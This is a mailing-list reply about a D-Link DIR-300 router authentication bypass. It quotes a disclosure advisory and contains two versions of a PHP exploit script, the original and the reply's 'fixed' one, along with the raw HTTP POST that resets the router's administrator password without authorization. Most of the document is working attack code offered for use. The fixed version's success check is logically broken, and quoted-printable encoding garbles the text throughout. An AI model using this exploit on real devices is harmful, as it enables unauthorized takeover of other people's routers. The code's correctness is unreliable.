Re: D-Link DIR-300 authentication bypass
On some versions of the firmware, exploit says that "something goes
wrong" despite of password change is successfull. There is a fixed
version:
---cut here---
<?php
if(sizeof($argv)!=3D4) {
echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
exit;
}
$ch=3Dcurl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"ACTION_POST=3DLOGIN&LOGIN_USER=3Da&LOGIN_PASSWD=3Db&log=
in=3D+Log+In+&NO_NEED_AUTH=3D1&AUTH_GROUP=3D0&admin_name=3Dadmin&admin_pass=
word1=3D".urlencode($argv[3]));
echo "+ starting request\n";
$out =3D curl_exec($ch);
if($out=3D=3D=3Dfalse) {
echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"login.php")=3D=3D=3Dtrue) {
echo "- something goes wrong (check answer - answer.html) !\n";
$f=3Dfopen("answer.html","w"); fwrite($f,$out); fclose($f);
exit;
}
else
echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
---cut here---
W dniu 9 listopada 2010 10:05 u=C5=BCytkownik Karol Celi=C5=84ski
<karol@celin.pl> napisa=C5=82:
> [intro]
> Hello, I found security bug in D-Link DIR-300 wireless router. It can
> be used to bypass authentication mechanizm by attacker with access to
> web interface. I reported it to D-Link but they are not replying for
> my emails. According to other D-Link security holes and their status I
> think that they won't reply, so I decided to write about it here.
>
> [Technical details]
>
> Control panel script - tools_admin.php allows attacker to change
> administrator name, password and other variables without any
> authorization by sending specially crafted http post request such as:
>
> ---cut here---
> POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
> Host: 192.168.1.2
> Keep-Alive: 115
> Content-Type: application/x-www-form-urlencoded
> Content-length: 0
>
> ACTION_POST=3DLOGIN&LOGIN_USER=3Da&LOGIN_PASSWD=3Db&login=3D+Log+In+&NO_N=
EED_AUTH=3D1&AUTH_GROUP=3D0&admin_name=3Dadmin&admin_password1=3DuhOHahEh
> ---cut here---
>
> If attacker makes this request to the control panel, the
> administrator username is set to admin with password ,,uhOHahEh".
>
> [Affected]
>
> - All known D-Link DIR-300 firmware (ie. 2.01B1, 1.04, 1.05).
> - There is possibility that other dlink devices which use the same php
> scripts in control panel are affected. I'm not able to check it
> because I don't have devices for tests. I'm counting on you ;->
>
> [Code]
>
> ---cut here---
> <?php
> =C2=A0 =C2=A0 =C2=A0 =C2=A0if(sizeof($argv)!=3D4) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "Usage: php5 =
$argv[0] <router ip addres> <port>
> <admin password>\n";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0exit;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0}
> =C2=A0 =C2=A0 =C2=A0 =C2=A0$ch=3Dcurl_init();
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_setopt($ch, CURLOPT_URL, "http://".$argv[=
1]."/tools_admin.php");
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_setopt($ch, CURLOPT_RETURNTRANSFER, true)=
;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_setopt($ch, CURLOPT_PORT, $argv[2]);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_setopt($ch, CURLOPT_POST, 1);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_setopt($ch, CURLOPT_POSTFIELDS,
> "ACTION_POST=3DLOGIN&LOGIN_USER=3Da&LOGIN_PASSWD=3Db&login=3D+Log+In+&NO_=
NEED_AUTH=3D1&AUTH_GROUP=3D0&admin_name=3Dadmin&admin_password1=3D".urlenco=
de($argv[3]));
> =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "+ starting request\n";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0$out =3D curl_exec($ch);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0if($out=3D=3D=3Dfalse) {
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "- Error: cou=
ld not connect (
> http://$argv[1]:$argv[2]/tools_admin.php).\n";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0exit;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0} else
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "+ request se=
nded\n";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0curl_close($ch);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0if(stripos($out,"Successfully")=3D=3D=3Dfalse)=
{
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "- something =
goes wrong (check answer - answer.html) !\n";
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0$f=3Dfopen("answer=
..html","w"); fwrite($f,$out); fclose($f);
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0exit;
> =C2=A0 =C2=A0 =C2=A0 =C2=A0}
> =C2=A0 =C2=A0 =C2=A0 =C2=A0else
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0echo "+ ok, now yo=
u can login using l: admin p:$argv[3]\n";
> ?>
> ---cut here---
>
> [History]
>
> =C2=A0- Information sent to vendor 07.08.2010
> =C2=A0- No response
> =C2=A0- Information resended to vendor 07.31.2010
> =C2=A0- No response from vendor
>
>
> [Credits]
> Karol Celi=C5=84ski ( Celin )
> Pentester/Researcher @ Safe Computing
>
> [Contact]
>
> karol at celin dot pl
>
> [Greetz]
> Tomasz Sawiak, Jacek Kowalski, Marcin Kozlowski, Robert Tomczykowski,
> Wojtek Machaj, Marek Zmyslowski, Szymon Sobczyk and all Safe Computing
> members.
>
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